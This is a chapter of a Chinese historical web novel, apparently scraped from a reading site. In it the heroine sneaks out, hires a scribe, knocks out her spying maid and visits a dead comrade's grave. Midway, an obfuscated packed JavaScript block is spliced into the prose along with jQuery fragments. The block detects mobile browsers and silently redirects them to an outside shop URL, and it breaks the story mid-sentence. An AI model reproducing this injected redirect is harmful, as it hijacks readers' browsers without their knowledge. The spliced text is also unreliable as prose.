默认冷灰
24号文字
方正启体

14. 叙旧

作者:苏枕澜本书字数:K更新时间:
    想让她抄书,下辈子再说吧!


    她摸了摸自己受伤的左臂,找来一根布条将包裹着伤处的绷带再裹了两三层,确保包扎稳固后再套上了外衫,探身向外看了看,确保金枝还未折返,厨娘大嫂最是喜欢与人讲话,见人便滔滔不绝讲个不停,真是多谢她了。


    她又眯起眼睛找寻那块被她拆出来的砖头,她在夜间的活动多,以防有人监视大门,她早早在自己房间后拆出来一块砖头作为借力点,她的房间在二楼,从窗户爬出去再上房顶就可以向下俯瞰周围情况。她整个人贴紧墙壁,头向上仰,右手向上伸抓紧房檐,粗糙的沙石把她的手摩得通红,她毫不在意,手臂的关节持续发力向上举,将她整个人挂在半空中,再翻身向外一跃,踩上那块砖头,腾空而上,在半空中翻了个身,两脚稳稳落在屋顶。


    她还担心单手能不能将她整个人吊起来呢。想着若是力量不够,就勉强使一下左手。


    看来堪堪够了。


    从屋顶跳邻家与自己家的小巷子中,再穿过几条小路,一家破旧的书坊映入眼帘。


    一位穿着白衫的书生立马迎了上来,沈婙摸出她写了的四五字,问道:“代抄《女则》一份,今晚要,多少钱?”


    “我们这最近要抄的东西有点多,你这又这么急,这怕是难办——”


    “我加钱!”沈婙摸出几两银子,心痛的放在他手上,准备转身就跑,却被店内的争斗吸引了目光。


    “我加钱!加钱听不懂吗?本少爷把你这间店盘下来的钱都有,凭什么不接?啊?”那人锦绣华服,白玉束发,身后还跟着几个小厮,大声朝里面白衫书生吼道。


    “少—少爷,不是不接,是您这要一百份,又今天要,我们哪——哪能赶出了啊!”掌柜的哭丧着脸,只差给他跪下了。


    沈婙原都失了兴趣,听到这里却眼睛都亮了。


    一百份!


    犯了什么事能被罚抄一百遍!


    这孩子不会是刺杀太子了吧?


    她装作寻里边的人有事的样子,不经意凑到了那人边上,往他的脸上偷瞄。


    眼下发黑,眼神无力,这不巧了,认识!上次还在天心阁见过呢。


    从前镇远将军的孙子,林泽柳的儿子,林燃。果然一副二世祖的做派,感觉是能把整个店都砸了的主。


    “那就把他们的都停了,先抄本少爷的!听到没有?”


    “这——这这”


    他上前,提起掌柜的领子,怒道:“本少爷,加钱!”


    “是是是。”掌柜的陪笑说是,林燃满意松手,正趾高气昂准备带着他后边乌泱泱跟着的人离去,却发现他的手却被沈婙右手紧紧钳制住。


    沈婙横亘在二人中间,紧抓着林燃的手正对着掌柜的脸质问道:“我也加了钱,今日我要的东西必须写完!”


    “本公子加的钱更多,凭什么让着你!”


    “凭我和掌柜的早先说好了!”沈婙恶狠狠看了他一眼,甩开他的手便要潇洒离去。


    他的袖子顺着这下滑下去,落到肘关节出,白皙的手腕露在半空中,一条蜿蜒的疤痕露在沈婙眼前,她顿了顿,想再仔细看,却发现他的手已经收回了袖中。


    “本公子也给你钱,收着这钱快滚!”


    “我才不要——”沈婙话还没说出口,便见一枚黄灿灿的金锭被他丢在地上。


    蹲下捡有失面子,富贵不能淫啊!


    于是沈婙勾起脚尖,向上一踹,金锭在空中勾出一条弯线,不偏不倚,落入沈婙手中。


    看来这《女则》只能由苏礼询抄了。


    没办法,他给的实在是太多了。


    沈婙再踏入屋内坐下时,金枝终于挣脱了厨娘大嫂的魔爪,推门而入。


    苏小姐正坐在书案后规矩抄写。


    她坐在沈婙一侧做针线,同时监督她。


    屋内火盆烧得很旺,但用的显然不是什么名贵的炭火,燃烧起来还发出劈里啪啦的响声,几缕被烧出的烟火往外冒,发出难闻的烧焦气味。她起身将书案后的香炉点燃了,暖暖的花香多少冲淡了些许浓烈的气味。


    金枝不由得往香炉边上靠了靠,却愈发觉得自己手中的针变得重影了起来,一晃一晃的,眼皮撑不住,自己往下落了去。


    沈婙咧嘴一笑,上前看了看,给她披上一件外袍便抓着桌上写的那些东西离开了。


    今日这房间就让给你睡了。


    “阿姐,有何吩咐?”苏礼询接过她手上只抄了一行字的《女则》,背面还画满了各种奇形怪状的图案,一只蜈蚣向外爬还有立着两只耳朵的蛇。


    “仿照这里的字迹抄写一遍《女则》,用什么办法都行,今夜之前给我。”


    沈婙盘腿坐下,还在想方才看到的图案。


    海洇阁那位司掌的手臂上,好像也有这样一条伤疤。


    是一样的吗?


    她其实不敢确认,毕竟两次都只是匆匆瞥到了一眼,也没细看。只是大体上好像都是这么一条纵向的伤疤。


    林燃和海洇阁司掌,她闭上眼睛在脑海中勾勒两人的身形,还有司掌那日露出来的狐狸般上勾的眼睛,不像,一点都不像。


    要不今夜再去海洇阁一趟,看看呢?


    她脑中刚冒出这个想法就被打消了,这两人暂时都对她并无威胁,没有急迫的利害关系,下次再看也一样的。


    她今夜还有别的事情要做呢。


    “阿姐,求你了,让我做什么都行,别让我抄书啊——”


    她正想着,一旁少年刚抄了几行就把笔一甩,趴在书案上吼叫,她一个眼神扫过去,少年悻悻闭嘴,却还可怜兮兮地看着她。


    “我今日有急事。你抄完我给你二两银子,怎么样?”沈婙循循善诱道。


    “好!阿姐说话算数!”他露出笑容,几颗大白牙露在外面。


    “对了,让你查的月吟的事情,查的怎么样了?”


    “线索还是断在镜莲。她当年不知为何四处搜寻这种叫做镜莲的药材,之前好容易找到江州有一商户宣称自己有镜莲,等我的人赶到时已经人去楼空了。阿姐你今夜是要去看月吟姐吗?”


    当年月吟一再请求她在梁帝亲率军队前下令后撤,放弃关隘口引敌军入山谷再从山往下奇袭。她否决了她的提议,甚至还怀疑月吟是否别有用心。


    她收到的军报是再守两日,只两日就会有援军前来。


    分明粮草都已经送到了,大军却迟迟不见,她的孱弱伤员死守了十日,硬生生将对方的奇袭变成了拉锯战,却恍然查验发现送来的粮草衣物只有上面的是好的,划开一看,全是已经快腐烂的陈年旧谷和米糠。


    月吟当年又先知道了些什么?


    她又为什么不说呢?


    后来月吟身死,只能从她身前事情上查,只她寻镜莲这一件事有异常。


    “嗯。今日途径那里,想起了我再归上京后,还没去看过她。”


    苏礼询见她神色凝重,也不再出声,只接着奋笔疾书。


    沈婙却撑着头,两眼放空,两手按上太阳穴,舒缓自己的头痛和心痛。


    距离月吟故去,已经好多年了啊。


    今日意外被引至她的墓前,是不是她想自己了。冥冥之中,苍天想让她去看看她。


    即使诸多愧疚,也该觍颜前去说几句话。


    晚膳过后,她带上东西正欲出门,却见一人迎面走来,双眼冰冷,是金枝,她见到沈婙便冷声道:“苏小姐对我做了什么?”


    不对啊,明明记得给她下的药量足够啊。


    “做了什么?”沈婙掩住震惊,摊摊手,无辜道,“你睡过去了,我怕你冻着,给你盖了件衣衫。”


    “那苏小姐这是要去哪呢?”


    她看起来气得不轻,眼神凌厉,好像要把沈婙的脸看穿一个洞来。


    “自然是,去”沈婙上前走一步,凑近她的耳旁小声说话,同时迅速扬起右手往她脖颈上来一手刀,轻声呼气道:“自然是去你梦里啊。”


    金枝该顿时腰肢发软,倒在她怀里。


    “去谁梦里?”金枝扬声。


    怎么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338091|199259||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没倒?


    不能吧!她手都伸过去准备接着她了。


    这多让人没面子哪。


    沈婙心一横,加重力量又补了一手刀。


    金枝会武功。她一边把人往屋里拖,一边想,熟稔地给她披上狐皮外衣,又去看那熏香。香炉中是沉浮的灰末,一湖黑水中飘着燃烧过的香灰,边上还沉着她之前放入的香料。


    沈婙判断了一下水注入香炉时大约是焚香开始后一个时辰,金枝在焚香后半时辰便睡着了,那时她正走出房门去了苏礼询那儿,再半个时辰金枝便醒来了,还往香炉注了水,那她应当差不多清醒了。


    距离现在中间的一个时辰,金枝在干嘛?


    偷听她讲话或是偷看她的东西?


    沈婙脸色一沉,若是她听到了,那听到了多少?


    沈婙心事重重地取上给月吟带的好酒往外走,还一边想着金枝的事。


    金枝的武功也不是简单的两脚功夫,不会武功的人绝对承受不住她那一下。


    她从前也喜欢偷偷跑出去,打昏人是常有的事,往哪里打,要用几分力度她早已烂熟于心。


    贵妃竟然指派了一个会武功的侍女来监视她。她难道很重要吗?不应该啊。培养一个能识字又会武功的侍女不易,她不过就是贵妃为了牵制韩王选出来的地位不高的韩王妃,何必呢?


    如果她是贵妃,金枝这枚棋子放在旁的地方绝对能发挥出更大的作用。安插在她身边,是一个很不划算的打算。


    现在有两种可能性,第一,贵妃看出点端倪,也在提防她。第二,贵妃也不知道金枝会武功,她另有来头。


    结合之前的事情,沈婙更倾向于第二种情况。


    天色已暗,一轮明月爬上枝头,一边落着细细碎碎的小雨,打在身上不痛不痒,却在它落下的每个瞬间都能隐约感觉到它的存在,沈婙抬手看着雨化在掌心,心里想的事情太多,太多事找不到答案,只能有些惆怅地看着这场雨,尽量放空思绪,见林只是林,看雨只是雨。


    她盘腿坐在这座无名碑的前面,只觉喉咙涩涩的,想说些什么又不知道该从何处说起,只能一遍又一遍摸着这个立起来的粗糙墓碑,再独自斟酒与卿对饮。


    一杯入喉呛得咳嗽,一杯入地打湿尘土。


    她与黄土两两对望,谁也不肯先说些什么。


    许久许久,像无边茧丝般细软的雨都沾湿了她的衣裳,一大片被水洇湿的痕迹留在她肩上,她才低低说了一句


    “我来看你了。”


    明月落下的光澄明透彻,不偏不倚。还是如同当年那样照在她们的身上。


    风勾起她的发丝,落在她冰凉的肩膀上。


    她又想伸手,却听到脚步声。


    一下,两下,三下。


    是很沉重的脚步声,不似暗杀,没有隐匿身形的意思。


    月吟,是不是你还——


    沈婙不敢想。


    是不是她也还像自己这样……


    死来逃生也好,借尸还魂也好,只要还能再见一见她,沈婙什么都无所谓。


    身体却不自觉地被理智牵引,她脚尖轻点,侧身躲到角落的树后。


    此刻只感觉心脏好像在膨胀,一点一点增加,逐渐占据整个躯体,而意识和理智在一点一点抽离,耳朵只能听到咚咚的心跳声,眼前恍惚,一闪一闪的,已经是她的身影。


    骨节发硬,有些动不了,她咬牙把右手覆在自己的心脏处,穿过衣衫的交领,触摸到自己温热的皮肤。她用力往下掐,指甲深深陷进皮肤表层,再深入,往里按下去,再深一点,再深……


    停了一瞬。


    她清楚地感觉到自己的怦怦跳的心脏停了一瞬。


    冲上耳尖的潮红也退了下去。


    不可能的。她当时已经没有呼吸了。


    她就是死在你面前了!


    她就是死在你面前了,沈婙。


    来者是敌是友还不可知,你得警醒起来。


    沈婙探身去看,迎面却冲来一枚暗器,直直往她腿上冲。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)